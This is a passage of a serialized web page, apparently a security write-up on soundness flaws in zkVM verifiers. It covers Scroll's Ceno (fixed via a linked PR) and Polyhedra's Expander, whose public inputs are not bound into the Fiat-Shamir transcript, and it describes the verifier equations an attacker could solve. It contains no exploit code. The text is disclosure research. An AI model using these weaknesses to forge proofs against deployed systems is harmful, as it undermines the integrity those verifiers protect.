product",{"type":24,"tag":158,"props":121553,"children":121555},{"className":121554},[22983],[121556],{"type":29,"value":521},{"type":24,"tag":158,"props":121558,"children":121560},{"className":121559,"style":5848},[5750],[],{"type":24,"tag":158,"props":121562,"children":121564},{"className":121563},[5853],[121565],{"type":29,"value":1285},{"type":24,"tag":158,"props":121567,"children":121569},{"className":121568,"style":5848},[5750],[],{"type":24,"tag":158,"props":121571,"children":121573},{"className":121572},[5658],[121574,121578],{"type":24,"tag":158,"props":121575,"children":121577},{"className":121576,"style":116345},[5663],[],{"type":24,"tag":158,"props":121579,"children":121581},{"className":121580},[5669,29],[121582],{"type":24,"tag":158,"props":121583,"children":121585},{"className":121584},[5669],[121586],{"type":29,"value":116356},{"type":24,"tag":25,"props":121588,"children":121589},{},[121590,121592,121745],{"type":29,"value":121591},"This is bilinear in ",{"type":24,"tag":154,"props":121593,"children":121595},{"className":121594},[5642,5643],[121596],{"type":24,"tag":158,"props":121597,"children":121599},{"className":121598},[5648],[121600],{"type":24,"tag":158,"props":121601,"children":121603},{"className":121602,"ariaHidden":3185},[5653],[121604],{"type":24,"tag":158,"props":121605,"children":121607},{"className":121606},[5658],[121608,121612,121617,121674,121679,121683,121740],{"type":24,"tag":158,"props":121609,"children":121611},{"className":121610,"style":5771},[5663],[],{"type":24,"tag":158,"props":121613,"children":121615},{"className":121614},[22961],[121616],{"type":29,"value":504},{"type":24,"tag":158,"props":121618,"children":121620},{"className":121619},[5669],[121621,121626],{"type":24,"tag":158,"props":121622,"children":121624},{"className":121623},[5669,22832],[121625],{"type":29,"value":20518},{"type":24,"tag":158,"props":121627,"children":121629},{"className":121628},[5686],[121630],{"type":24,"tag":158,"props":121631,"children":121633},{"className":121632},[5691,22886],[121634,121663],{"type":24,"tag":158,"props":121635,"children":121637},{"className":121636},[5696],[121638,121658],{"type":24,"tag":158,"props":121639,"children":121641},{"className":121640,"style":94377},[5701],[121642],{"type":24,"tag":158,"props":121643,"children":121644},{"style":94381},[121645,121649],{"type":24,"tag":158,"props":121646,"children":121648},{"className":121647,"style":5711},[5710],[],{"type":24,"tag":158,"props":121650,"children":121652},{"className":121651},[5716,5717,5718,5719],[121653],{"type":24,"tag":158,"props":121654,"children":121656},{"className":121655},[5669,5719],[121657],{"type":29,"value":5682},{"type":24,"tag":158,"props":121659,"children":121661},{"className":121660},[22989],[121662],{"type":29,"value":22992},{"type":24,"tag":158,"props":121664,"children":121666},{"className":121665},[5696],[121667],{"type":24,"tag":158,"props":121668,"children":121670},{"className":121669,"style":94408},[5701],[121671],{"type":24,"tag":158,"props":121672,"children":121673},{},[],{"type":24,"tag":158,"props":121675,"children":121677},{"className":121676},[5782],[121678],{"type":29,"value":5785},{"type":24,"tag":158,"props":121680,"children":121682},{"className":121681,"style":5789},[5750],[],{"type":24,"tag":158,"props":121684,"children":121686},{"className":121685},[5669],[121687,121692],{"type":24,"tag":158,"props":121688,"children":121690},{"className":121689},[5669,22832],[121691],{"type":29,"value":20518},{"type":24,"tag":158,"props":121693,"children":121695},{"className":121694},[5686],[121696],{"type":24,"tag":158,"props":121697,"children":121699},{"className":121698},[5691,22886],[121700,121729],{"type":24,"tag":158,"props":121701,"children":121703},{"className":121702},[5696],[121704,121724],{"type":24,"tag":158,"props":121705,"children":121707},{"className":121706,"style":94377},[5701],[121708],{"type":24,"tag":158,"props":121709,"children":121710},{"style":94381},[121711,121715],{"type":24,"tag":158,"props":121712,"children":121714},{"className":121713,"style":5711},[5710],[],{"type":24,"tag":158,"props":121716,"children":121718},{"className":121717},[5716,5717,5718,5719],[121719],{"type":24,"tag":158,"props":121720,"children":121722},{"className":121721},[5669,5719],[121723],{"type":29,"value":5672},{"type":24,"tag":158,"props":121725,"children":121727},{"className":121726},[22989],[121728],{"type":29,"value":22992},{"type":24,"tag":158,"props":121730,"children":121732},{"className":121731},[5696],[121733],{"type":24,"tag":158,"props":121734,"children":121736},{"className":121735,"style":94408},[5701],[121737],{"type":24,"tag":158,"props":121738,"children":121739},{},[],{"type":24,"tag":158,"props":121741,"children":121743},{"className":121742},[22983],[121744],{"type":29,"value":521},{"type":29,"value":347},{"type":24,"tag":25,"props":121747,"children":121748},{},[121749,121751,121904],{"type":29,"value":121750},"We have two unknowns ",{"type":24,"tag":154,"props":121752,"children":121754},{"className":121753},[5642,5643],[121755],{"type":24,"tag":158,"props":121756,"children":121758},{"className":121757},[5648],[121759],{"type":24,"tag":158,"props":121760,"children":121762},{"className":121761,"ariaHidden":3185},[5653],[121763],{"type":24,"tag":158,"props":121764,"children":121766},{"className":121765},[5658],[121767,121771,121776,121833,121838,121842,121899],{"type":24,"tag":158,"props":121768,"children":121770},{"className":121769,"style":5771},[5663],[],{"type":24,"tag":158,"props":121772,"children":121774},{"className":121773},[22961],[121775],{"type":29,"value":504},{"type":24,"tag":158,"props":121777,"children":121779},{"className":121778},[5669],[121780,121785],{"type":24,"tag":158,"props":121781,"children":121783},{"className":121782},[5669,22832],[121784],{"type":29,"value":20518},{"type":24,"tag":158,"props":121786,"children":121788},{"className":121787},[5686],[121789],{"type":24,"tag":158,"props":121790,"children":121792},{"className":121791},[5691,22886],[121793,121822],{"type":24,"tag":158,"props":121794,"children":121796},{"className":121795},[5696],[121797,121817],{"type":24,"tag":158,"props":121798,"children":121800},{"className":121799,"style":94377},[5701],[121801],{"type":24,"tag":158,"props":121802,"children":121803},{"style":94381},[121804,121808],{"type":24,"tag":158,"props":121805,"children":121807},{"className":121806,"style":5711},[5710],[],{"type":24,"tag":158,"props":121809,"children":121811},{"className":121810},[5716,5717,5718,5719],[121812],{"type":24,"tag":158,"props":121813,"children":121815},{"className":121814},[5669,5719],[121816],{"type":29,"value":5682},{"type":24,"tag":158,"props":121818,"children":121820},{"className":121819},[22989],[121821],{"type":29,"value":22992},{"type":24,"tag":158,"props":121823,"children":121825},{"className":121824},[5696],[121826],{"type":24,"tag":158,"props":121827,"children":121829},{"className":121828,"style":94408},[5701],[121830],{"type":24,"tag":158,"props":121831,"children":121832},{},[],{"type":24,"tag":158,"props":121834,"children":121836},{"className":121835},[5782],[121837],{"type":29,"value":5785},{"type":24,"tag":158,"props":121839,"children":121841},{"className":121840,"style":5789},[5750],[],{"type":24,"tag":158,"props":121843,"children":121845},{"className":121844},[5669],[121846,121851],{"type":24,"tag":158,"props":121847,"children":121849},{"className":121848},[5669,22832],[121850],{"type":29,"value":20518},{"type":24,"tag":158,"props":121852,"children":121854},{"className":121853},[5686],[121855],{"type":24,"tag":158,"props":121856,"children":121858},{"className":121857},[5691,22886],[121859,121888],{"type":24,"tag":158,"props":121860,"children":121862},{"className":121861},[5696],[121863,121883],{"type":24,"tag":158,"props":121864,"children":121866},{"className":121865,"style":94377},[5701],[121867],{"type":24,"tag":158,"props":121868,"children":121869},{"style":94381},[121870,121874],{"type":24,"tag":158,"props":121871,"children":121873},{"className":121872,"style":5711},[5710],[],{"type":24,"tag":158,"props":121875,"children":121877},{"className":121876},[5716,5717,5718,5719],[121878],{"type":24,"tag":158,"props":121879,"children":121881},{"className":121880},[5669,5719],[121882],{"type":29,"value":5672},{"type":24,"tag":158,"props":121884,"children":121886},{"className":121885},[22989],[121887],{"type":29,"value":22992},{"type":24,"tag":158,"props":121889,"children":121891},{"className":121890},[5696],[121892],{"type":24,"tag":158,"props":121893,"children":121895},{"className":121894,"style":94408},[5701],[121896],{"type":24,"tag":158,"props":121897,"children":121898},{},[],{"type":24,"tag":158,"props":121900,"children":121902},{"className":121901},[22983],[121903],{"type":29,"value":521},{"type":29,"value":121905}," and two equations, one linear and one bilinear:",{"type":24,"tag":1786,"props":121907,"children":121908},{},[121909,122236],{"type":24,"tag":1790,"props":121910,"children":121911},{},[121912,121914],{"type":29,"value":121913},"Linear (from GKR): ",{"type":24,"tag":154,"props":121915,"children":121917},{"className":121916},[5642,5643],[121918],{"type":24,"tag":158,"props":121919,"children":121921},{"className":121920},[5648],[121922],{"type":24,"tag":158,"props":121923,"children":121925},{"className":121924,"ariaHidden":3185},[5653],[121926,122062,122197,122223],{"type":24,"tag":158,"props":121927,"children":121929},{"className":121928},[5658],[121930,121935,121992,122049,122053,122058],{"type":24,"tag":158,"props":121931,"children":121934},{"className":121932,"style":121933},[5663],"height:0.7333em;vertical-align:-0.15em;",[],{"type":24,"tag":158,"props":121936,"children":121938},{"className":121937},[5669],[121939,121944],{"type":24,"tag":158,"props":121940,"children":121942},{"className":121941},[5669,22832],[121943],{"type":29,"value":101},{"type":24,"tag":158,"props":121945,"children":121947},{"className":121946},[5686],[121948],{"type":24,"tag":158,"props":121949,"children":121951},{"className":121950},[5691,22886],[121952,121981],{"type":24,"tag":158,"props":121953,"children":121955},{"className":121954},[5696],[121956,121976],{"type":24,"tag":158,"props":121957,"children":121959},{"className":121958,"style":94377},[5701],[121960],{"type":24,"tag":158,"props":121961,"children":121962},{"style":94381},[121963,121967],{"type":24,"tag":158,"props":121964,"children":121966},{"className":121965,"style":5711},[5710],[],{"type":24,"tag":158,"props":121968,"children":121970},{"className":121969},[5716,5717,5718,5719],[121971],{"type":24,"tag":158,"props":121972,"children":121974},{"className":121973},[5669,5719],[121975],{"type":29,"value":5682},{"type":24,"tag":158,"props":121977,"children":121979},{"className":121978},[22989],[121980],{"type":29,"value":22992},{"type":24,"tag":158,"props":121982,"children":121984},{"className":121983},[5696],[121985],{"type":24,"tag":158,"props":121986,"children":121988},{"className":121987,"style":94408},[5701],[121989],{"type":24,"tag":158,"props":121990,"children":121991},{},[],{"type":24,"tag":158,"props":121993,"children":121995},{"className":121994},[5669],[121996,122001],{"type":24,"tag":158,"props":121997,"children":121999},{"className":121998},[5669,22832],[122000],{"type":29,"value":20518},{"type":24,"tag":158,"props":122002,"children":122004},{"className":122003},[5686],[122005],{"type":24,"tag":158,"props":122006,"children":122008},{"className":122007},[5691,22886],[122009,122038],{"type":24,"tag":158,"props":122010,"children":122012},{"className":122011},[5696],[122013,122033],{"type":24,"tag":158,"props":122014,"children":122016},{"className":122015,"style":94377},[5701],[122017],{"type":24,"tag":158,"props":122018,"children":122019},{"style":94381},[122020,122024],{"type":24,"tag":158,"props":122021,"children":122023},{"className":122022,"style":5711},[5710],[],{"type":24,"tag":158,"props":122025,"children":122027},{"className":122026},[5716,5717,5718,5719],[122028],{"type":24,"tag":158,"props":122029,"children":122031},{"className":122030},[5669,5719],[122032],{"type":29,"value":5682},{"type":24,"tag":158,"props":122034,"children":122036},{"className":122035},[22989],[122037],{"type":29,"value":22992},{"type":24,"tag":158,"props":122039,"children":122041},{"className":122040},[5696],[122042],{"type":24,"tag":158,"props":122043,"children":122045},{"className":122044,"style":94408},[5701],[122046],{"type":24,"tag":158,"props":122047,"children":122048},{},[],{"type":24,"tag":158,"props":122050,"children":122052},{"className":122051,"style":5751},[5750],[],{"type":24,"tag":158,"props":122054,"children":122056},{"className":122055},[5756],[122057],{"type":29,"value":728},{"type":24,"tag":158,"props":122059,"children":122061},{"className":122060,"style":5751},[5750],[],{"type":24,"tag":158,"props":122063,"children":122065},{"className":122064},[5658],[122066,122070,122127,122184,122188,122193],{"type":24,"tag":158,"props":122067,"children":122069},{"className":122068,"style":121933},[5663],[],{"type":24,"tag":158,"props":122071,"children":122073},{"className":122072},[5669],[122074,122079],{"type":24,"tag":158,"props":122075,"children":122077},{"className":122076},[5669,22832],[122078],{"type":29,"value":101},{"type":24,"tag":158,"props":122080,"children":122082},{"className":122081},[5686],[122083],{"type":24,"tag":158,"props":122084,"children":122086},{"className":122085},[5691,22886],[122087,122116],{"type":24,"tag":158,"props":122088,"children":122090},{"className":122089},[5696],[122091,122111],{"type":24,"tag":158,"props":122092,"children":122094},{"className":122093,"style":94377},[5701],[122095],{"type":24,"tag":158,"props":122096,"children":122097},{"style":94381},[122098,122102],{"type":24,"tag":158,"props":122099,"children":122101},{"className":122100,"style":5711},[5710],[],{"type":24,"tag":158,"props":122103,"children":122105},{"className":122104},[5716,5717,5718,5719],[122106],{"type":24,"tag":158,"props":122107,"children":122109},{"className":122108},[5669,5719],[122110],{"type":29,"value":5672},{"type":24,"tag":158,"props":122112,"children":122114},{"className":122113},[22989],[122115],{"type":29,"value":22992},{"type":24,"tag":158,"props":122117,"children":122119},{"className":122118},[5696],[122120],{"type":24,"tag":158,"props":122121,"children":122123},{"className":122122,"style":94408},[5701],[122124],{"type":24,"tag":158,"props":122125,"children":122126},{},[],{"type":24,"tag":158,"props":122128,"children":122130},{"className":122129},[5669],[122131,122136],{"type":24,"tag":158,"props":122132,"children":122134},{"className":122133},[5669,22832],[122135],{"type":29,"value":20518},{"type":24,"tag":158,"props":122137,"children":122139},{"className":122138},[5686],[122140],{"type":24,"tag":158,"props":122141,"children":122143},{"className":122142},[5691,22886],[122144,122173],{"type":24,"tag":158,"props":122145,"children":122147},{"className":122146},[5696],[122148,122168],{"type":24,"tag":158,"props":122149,"children":122151},{"className":122150,"style":94377},[5701],[122152],{"type":24,"tag":158,"props":122153,"children":122154},{"style":94381},[122155,122159],{"type":24,"tag":158,"props":122156,"children":122158},{"className":122157,"style":5711},[5710],[],{"type":24,"tag":158,"props":122160,"children":122162},{"className":122161},[5716,5717,5718,5719],[122163],{"type":24,"tag":158,"props":122164,"children":122166},{"className":122165},[5669,5719],[122167],{"type":29,"value":5672},{"type":24,"tag":158,"props":122169,"children":122171},{"className":122170},[22989],[122172],{"type":29,"value":22992},{"type":24,"tag":158,"props":122174,"children":122176},{"className":122175},[5696],[122177],{"type":24,"tag":158,"props":122178,"children":122180},{"className":122179,"style":94408},[5701],[122181],{"type":24,"tag":158,"props":122182,"children":122183},{},[],{"type":24,"tag":158,"props":122185,"children":122187},{"className":122186,"style":5751},[5750],[],{"type":24,"tag":158,"props":122189,"children":122191},{"className":122190},[5756],[122192],{"type":29,"value":728},{"type":24,"tag":158,"props":122194,"children":122196},{"className":122195,"style":5751},[5750],[],{"type":24,"tag":158,"props":122198,"children":122200},{"className":122199},[5658],[122201,122205,122210,122214,122219],{"type":24,"tag":158,"props":122202,"children":122204},{"className":122203,"style":112166},[5663],[],{"type":24,"tag":158,"props":122206,"children":122208},{"className":122207},[5669,22832],[122209],{"type":29,"value":2907},{"type":24,"tag":158,"props":122211,"children":122213},{"className":122212,"style":5848},[5750],[],{"type":24,"tag":158,"props":122215,"children":122217},{"className":122216},[5853],[122218],{"type":29,"value":1285},{"type":24,"tag":158,"props":122220,"children":122222},{"className":122221,"style":5848},[5750],[],{"type":24,"tag":158,"props":122224,"children":122226},{"className":122225},[5658],[122227,122231],{"type":24,"tag":158,"props":122228,"children":122230},{"className":122229,"style":95356},[5663],[],{"type":24,"tag":158,"props":122232,"children":122234},{"className":122233},[5669],[122235],{"type":29,"value":5682},{"type":24,"tag":1790,"props":122237,"children":122238},{},[122239,122241],{"type":29,"value":122240},"Bilinear (from multiset): ",{"type":24,"tag":154,"props":122242,"children":122244},{"className":122243},[5642,5643],[122245],{"type":24,"tag":158,"props":122246,"children":122248},{"className":122247},[5648],[122249],{"type":24,"tag":158,"props":122250,"children":122252},{"className":122251,"ariaHidden":3185},[5653],[122253,122279,122357,122435,122461],{"type":24,"tag":158,"props":122254,"children":122256},{"className":122255},[5658],[122257,122261,122266,122270,122275],{"type":24,"tag":158,"props":122258,"children":122260},{"className":122259,"style":94240},[5663],[],{"type":24,"tag":158,"props":122262,"children":122264},{"className":122263,"style":95754},[5669,22832],[122265],{"type":29,"value":89962},{"type":24,"tag":158,"props":122267,"children":122269},{"className":122268,"style":5751},[5750],[],{"type":24,"tag":158,"props":122271,"children":122273},{"className":122272},[5756],[122274],{"type":29,"value":112587},{"type":24,"tag":158,"props":122276,"children":122278},{"className":122277,"style":5751},[5750],[],{"type":24,"tag":158,"props":122280,"children":122282},{"className":122281},[5658],[122283,122287,122344,122348,122353],{"type":24,"tag":158,"props":122284,"children":122286},{"className":122285,"style":121379},[5663],[],{"type":24,"tag":158,"props":122288,"children":122290},{"className":122289},[5669],[122291,122296],{"type":24,"tag":158,"props":122292,"children":122294},{"className":122293},[5669,22832],[122295],{"type":29,"value":20518},{"type":24,"tag":158,"props":122297,"children":122299},{"className":122298},[5686],[122300],{"type":24,"tag":158,"props":122301,"children":122303},{"className":122302},[5691,22886],[122304,122333],{"type":24,"tag":158,"props":122305,"children":122307},{"className":122306},[5696],[122308,122328],{"type":24,"tag":158,"props":122309,"children":122311},{"className":122310,"style":94377},[5701],[122312],{"type":24,"tag":158,"props":122313,"children":122314},{"style":94381},[122315,122319],{"type":24,"tag":158,"props":122316,"children":122318},{"className":122317,"style":5711},[5710],[],{"type":24,"tag":158,"props":122320,"children":122322},{"className":122321},[5716,5717,5718,5719],[122323],{"type":24,"tag":158,"props":122324,"children":122326},{"className":122325},[5669,5719],[122327],{"type":29,"value":5682},{"type":24,"tag":158,"props":122329,"children":122331},{"className":122330},[22989],[122332],{"type":29,"value":22992},{"type":24,"tag":158,"props":122334,"children":122336},{"className":122335},[5696],[122337],{"type":24,"tag":158,"props":122338,"children":122340},{"className":122339,"style":94408},[5701],[122341],{"type":24,"tag":158,"props":122342,"children":122343},{},[],{"type":24,"tag":158,"props":122345,"children":122347},{"className":122346,"style":5751},[5750],[],{"type":24,"tag":158,"props":122349,"children":122351},{"className":122350},[5756],[122352],{"type":29,"value":112587},{"type":24,"tag":158,"props":122354,"children":122356},{"className":122355,"style":5751},[5750],[],{"type":24,"tag":158,"props":122358,"children":122360},{"className":122359},[5658],[122361,122365,122422,122426,122431],{"type":24,"tag":158,"props":122362,"children":122364},{"className":122363,"style":121933},[5663],[],{"type":24,"tag":158,"props":122366,"children":122368},{"className":122367},[5669],[122369,122374],{"type":24,"tag":158,"props":122370,"children":122372},{"className":122371},[5669,22832],[122373],{"type":29,"value":20518},{"type":24,"tag":158,"props":122375,"children":122377},{"className":122376},[5686],[122378],{"type":24,"tag":158,"props":122379,"children":122381},{"className":122380},[5691,22886],[122382,122411],{"type":24,"tag":158,"props":122383,"children":122385},{"className":122384},[5696],[122386,122406],{"type":24,"tag":158,"props":122387,"children":122389},{"className":122388,"style":94377},[5701],[122390],{"type":24,"tag":158,"props":122391,"children":122392},{"style":94381},[122393,122397],{"type":24,"tag":158,"props":122394,"children":122396},{"className":122395,"style":5711},[5710],[],{"type":24,"tag":158,"props":122398,"children":122400},{"className":122399},[5716,5717,5718,5719],[122401],{"type":24,"tag":158,"props":122402,"children":122404},{"className":122403},[5669,5719],[122405],{"type":29,"value":5672},{"type":24,"tag":158,"props":122407,"children":122409},{"className":122408},[22989],[122410],{"type":29,"value":22992},{"type":24,"tag":158,"props":122412,"children":122414},{"className":122413},[5696],[122415],{"type":24,"tag":158,"props":122416,"children":122418},{"className":122417,"style":94408},[5701],[122419],{"type":24,"tag":158,"props":122420,"children":122421},{},[],{"type":24,"tag":158,"props":122423,"children":122425},{"className":122424,"style":5751},[5750],[],{"type":24,"tag":158,"props":122427,"children":122429},{"className":122428},[5756],[122430],{"type":29,"value":728},{"type":24,"tag":158,"props":122432,"children":122434},{"className":122433,"style":5751},[5750],[],{"type":24,"tag":158,"props":122436,"children":122438},{"className":122437},[5658],[122439,122443,122448,122452,122457],{"type":24,"tag":158,"props":122440,"children":122442},{"className":122441,"style":94240},[5663],[],{"type":24,"tag":158,"props":122444,"children":122446},{"className":122445},[5669,22832],[122447],{"type":29,"value":71840},{"type":24,"tag":158,"props":122449,"children":122451},{"className":122450,"style":5848},[5750],[],{"type":24,"tag":158,"props":122453,"children":122455},{"className":122454},[5853],[122456],{"type":29,"value":1285},{"type":24,"tag":158,"props":122458,"children":122460},{"className":122459,"style":5848},[5750],[],{"type":24,"tag":158,"props":122462,"children":122464},{"className":122463},[5658],[122465,122469],{"type":24,"tag":158,"props":122466,"children":122468},{"className":122467,"style":95356},[5663],[],{"type":24,"tag":158,"props":122470,"children":122472},{"className":122471},[5669],[122473],{"type":29,"value":5682},{"type":24,"tag":25,"props":122475,"children":122476},{},[122477],{"type":29,"value":122478},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":24,"tag":25,"props":122480,"children":122481},{},[122482,122486,122488,122495,122497,122504],{"type":24,"tag":897,"props":122483,"children":122484},{},[122485],{"type":29,"value":118035},{"type":29,"value":122487}," Fixed on March 5, 2026 via ",{"type":24,"tag":101,"props":122489,"children":122492},{"href":122490,"rel":122491},"https://github.com/scroll-tech/ceno/pull/1262",[105],[122493],{"type":29,"value":122494},"PR #1262",{"type":29,"value":122496}," (original report: ",{"type":24,"tag":101,"props":122498,"children":122501},{"href":122499,"rel":122500},"https://github.com/scroll-tech/ceno/issues/1125",[105],[122502],{"type":29,"value":122503},"#1125",{"type":29,"value":521},{"type":24,"tag":20034,"props":122506,"children":122507},{},[],{"type":24,"tag":395,"props":122509,"children":122511},{"id":122510},"expander-polyhedra",[122512],{"type":29,"value":122513},"Expander (Polyhedra)",{"type":24,"tag":25,"props":122515,"children":122516},{},[122517],{"type":29,"value":122518},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":24,"tag":25,"props":122520,"children":122521},{},[122522],{"type":24,"tag":897,"props":122523,"children":122524},{},[122525],{"type":29,"value":116741},{"type":24,"tag":147,"props":122527,"children":122529},{"code":122528},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[122530],{"type":24,"tag":154,"props":122531,"children":122532},{"__ignoreMap":7},[122533],{"type":29,"value":122528},{"type":24,"tag":25,"props":122535,"children":122536},{},[122537,122539,122545],{"type":29,"value":122538},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":24,"tag":154,"props":122540,"children":122542},{"className":122541},[],[122543],{"type":29,"value":122544},"eval_cst",{"type":29,"value":122546}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":24,"tag":147,"props":122548,"children":122550},{"code":122549,"language":150,"meta":7,"className":151,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[122551],{"type":24,"tag":154,"props":122552,"children":122553},{"__ignoreMap":7},[122554],{"type":24,"tag":158,"props":122555,"children":122556},{"class":160,"line":161},[122557,122561,122566,122571,122575,122579,122583,122587,122592,122596,122601,122606,122610,122615],{"type":24,"tag":158,"props":122558,"children":122559},{"style":177},[122560],{"type":29,"value":77910},{"type":24,"tag":158,"props":122562,"children":122563},{"style":222},[122564],{"type":29,"value":122565}," -=",{"type":24,"tag":158,"props":122567,"children":122568},{"style":171},[122569],{"type":29,"value":122570}," GKRVerifierHelper",{"type":24,"tag":158,"props":122572,"children":122573},{"style":222},[122574],{"type":29,"value":2146},{"type":24,"tag":158,"props":122576,"children":122577},{"style":496},[122578],{"type":29,"value":122544},{"type":24,"tag":158,"props":122580,"children":122581},{"style":188},[122582],{"type":29,"value":504},{"type":24,"tag":158,"props":122584,"children":122585},{"style":222},[122586],{"type":29,"value":2212},{"type":24,"tag":158,"props":122588,"children":122589},{"style":177},[122590],{"type":29,"value":122591},"layer",{"type":24,"tag":158,"props":122593,"children":122594},{"style":222},[122595],{"type":29,"value":347},{"type":24,"tag":158,"props":122597,"children":122598},{"style":188},[122599],{"type":29,"value":122600},"const_, ",{"type":24,"tag":158,"props":122602,"children":122603},{"style":177},[122604],{"type":29,"value":122605},"public_input",{"type":24,"tag":158,"props":122607,"children":122608},{"style":188},[122609],{"type":29,"value":191},{"type":24,"tag":158,"props":122611,"children":122612},{"style":177},[122613],{"type":29,"value":122614},"sp",{"type":24,"tag":158,"props":122616,"children":122617},{"style":188},[122618],{"type":29,"value":1071},{"type":24,"tag":25,"props":122620,"children":122621},{},[122622,122624,122629],{"type":29,"value":122623},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":24,"tag":154,"props":122625,"children":122627},{"className":122626},[],[122628],{"type":29,"value":122614},{"type":29,"value":21986},{"type":24,"tag":25,"props":122631,"children":122632},{},[122633],{"type":24,"tag":897,"props":122634,"children":122635},{},[122636],{"type":29,"value":122637},"The vulnerability:",{"type":24,"tag":25,"props":122639,"children":122640},{},[122641,122646],{"type":24,"tag":154,"props":122642,"children":122644},{"className":122643},[],[122645],{"type":29,"value":122605},{"type":29,"value":122647}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":24,"tag":25,"props":122649,"children":122650},{},[122651],{"type":24,"tag":84,"props":122652,"children":122655},{"alt":122653,"src":122654},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":24,"tag":25,"props":122657,"children":122658},{},[122659,122660,122665],{"type":29,"value":17850},{"type":24,"tag":154,"props":122661,"children":122663},{"className":122662},[],[122664],{"type":29,"value":122544},{"type":29,"value":122666}," function computes a linear combination:",{"type":24,"tag":25,"props":122668,"children":122669},{},[122670],{"type":24,"tag":154,"props":122671,"children":122673},{"className":122672},[5642,5643],[122674],{"type":24,"tag":158,"props":122675,"children":122677},{"className":122676},[5648],[122678],{"type":24,"tag":158,"props":122679,"children":122681},{"className":122680,"ariaHidden":3185},[5653],[122682,122727,122851],{"type":24,"tag":158,"props":122683,"children":122685},{"className":122684},[5658],[122686,122690,122699,122704,122714,122718,122723],{"type":24,"tag":158,"props":122687,"children":122689},{"className":122688,"style":95738},[5663],[],{"type":24,"tag":158,"props":122691,"children":122693},{"className":122692},[5669,29],[122694],{"type":24,"tag":158,"props":122695,"children":122697},{"className":122696},[5669],[122698],{"type":29,"value":38812},{"type":24,"tag":158,"props":122700,"children":122702},{"className":122701,"style":94325},[5669],[122703],{"type":29,"value":4750},{"type":24,"tag":158,"props":122705,"children":122707},{"className":122706},[5669,29],[122708],{"type":24,"tag":158,"props":122709,"children":122711},{"className":122710},[5669],[122712],{"type":29,"value":122713},"cst",{"type":24,"tag":158,"props":122715,"children":122717},{"className":122716,"style":5848},[5750],[],{"type":24,"tag":158,"props":122719,"children":122721},{"className":122720},[5853],[122722],{"type":29,"value":1285},{"type":24,"tag":158,"props":122724,"children":122726},{"className":122725,"style":5848},[5750],[],{"type":24,"tag":158,"props":122728,"children":122730},{"className":122729},[5658],[122731,122735,122792,122796,122823,122828,122833,122838,122842,122847],{"type":24,"tag":158,"props":122732,"children":122734},{"className":122733,"style":94267},[5663],[],{"type":24,"tag":158,"props":122736,"children":122738},{"className":122737},[22868],[122739,122744],{"type":24,"tag":158,"props":122740,"children":122742},{"className":122741,"style":22875},[22868,22873,22874],[122743],{"type":29,"value":110120},{"type":24,"tag":158,"props":122745,"children":122747},{"className":122746},[5686],[122748],{"type":24,"tag":158,"props":122749,"children":122751},{"className":122750},[5691,22886],[122752,122781],{"type":24,"tag":158,"props":122753,"children":122755},{"className":122754},[5696],[122756,122776],{"type":24,"tag":158,"props":122757,"children":122759},{"className":122758,"style":115532},[5701],[122760],{"type":24,"tag":158,"props":122761,"children":122762},{"style":22899},[122763,122767],{"type":24,"tag":158,"props":122764,"children":122766},{"className":122765,"style":5711},[5710],[],{"type":24,"tag":158,"props":122768,"children":122770},{"className":122769},[5716,5717,5718,5719],[122771],{"type":24,"tag":158,"props":122772,"children":122774},{"className":122773},[5669,22832,5719],[122775],{"type":29,"value":1832},{"type":24,"tag":158,"props":122777,"children":122779},{"className":122778},[22989],[122780],{"type":29,"value":22992},{"type":24,"tag":158,"props":122782,"children":122784},{"className":122783},[5696],[122785],{"type":24,"tag":158,"props":122786,"children":122788},{"className":122787,"style":115812},[5701],[122789],{"type":24,"tag":158,"props":122790,"children":122791},{},[],{"type":24,"tag":158,"props":122793,"children":122795},{"className":122794,"style":5789},[5750],[],{"type":24,"tag":158,"props":122797,"children":122799},{"className":122798},[5669],[122800,122809,122814],{"type":24,"tag":158,"props":122801,"children":122803},{"className":122802},[5669,29],[122804],{"type":24,"tag":158,"props":122805,"children":122807},{"className":122806},[5669],[122808],{"type":29,"value":62949},{"type":24,"tag":158,"props":122810,"children":122812},{"className":122811,"style":94325},[5669],[122813],{"type":29,"value":4750},{"type":24,"tag":158,"props":122815,"children":122817},{"className":122816},[5669,29],[122818],{"type":24,"tag":158,"props":122819,"children":122821},{"className":122820},[5669],[122822],{"type":29,"value":2217},{"type":24,"tag":158,"props":122824,"children":122826},{"className":122825},[22961],[122827],{"type":29,"value":2048},{"type":24,"tag":158,"props":122829,"children":122831},{"className":122830},[5669,22832],[122832],{"type":29,"value":1832},{"type":24,"tag":158,"props":122834,"children":122836},{"className":122835},[22983],[122837],{"type":29,"value":16646},{"type":24,"tag":158,"props":122839,"children":122841},{"className":122840,"style":5751},[5750],[],{"type":24,"tag":158,"props":122843,"children":122845},{"className":122844},[5756],[122846],{"type":29,"value":112587},{"type":24,"tag":158,"props":122848,"children":122850},{"className":122849,"style":5751},[5750],[],{"type":24,"tag":158,"props":122852,"children":122854},{"className":122853},[5658],[122855,122859,122868,122873,122878,122883,122887,122936],{"type":24,"tag":158,"props":122856,"children":122858},{"className":122857,"style":5771},[5663],[],{"type":24,"tag":158,"props":122860,"children":122862},{"className":122861},[5669,29],[122863],{"type":24,"tag":158,"props":122864,"children":122866},{"className":122865},[5669],[122867],{"type":29,"value":113914},{"type":24,"tag":158,"props":122869,"children":122871},{"className":122870},[22961],[122872],{"type":29,"value":504},{"type":24,"tag":158,"props":122874,"children":122876},{"className":122875},[5669,22832],[122877],{"type":29,"value":1832},{"type":24,"tag":158,"props":122879,"children":122881},{"className":122880},[5782],[122882],{"type":29,"value":5785},{"type":24,"tag":158,"props":122884,"children":122886},{"className":122885,"style":5789},[5750],[],{"type":24,"tag":158,"props":122888,"children":122890},{"className":122889},[5669,113474],[122891],{"type":24,"tag":158,"props":122892,"c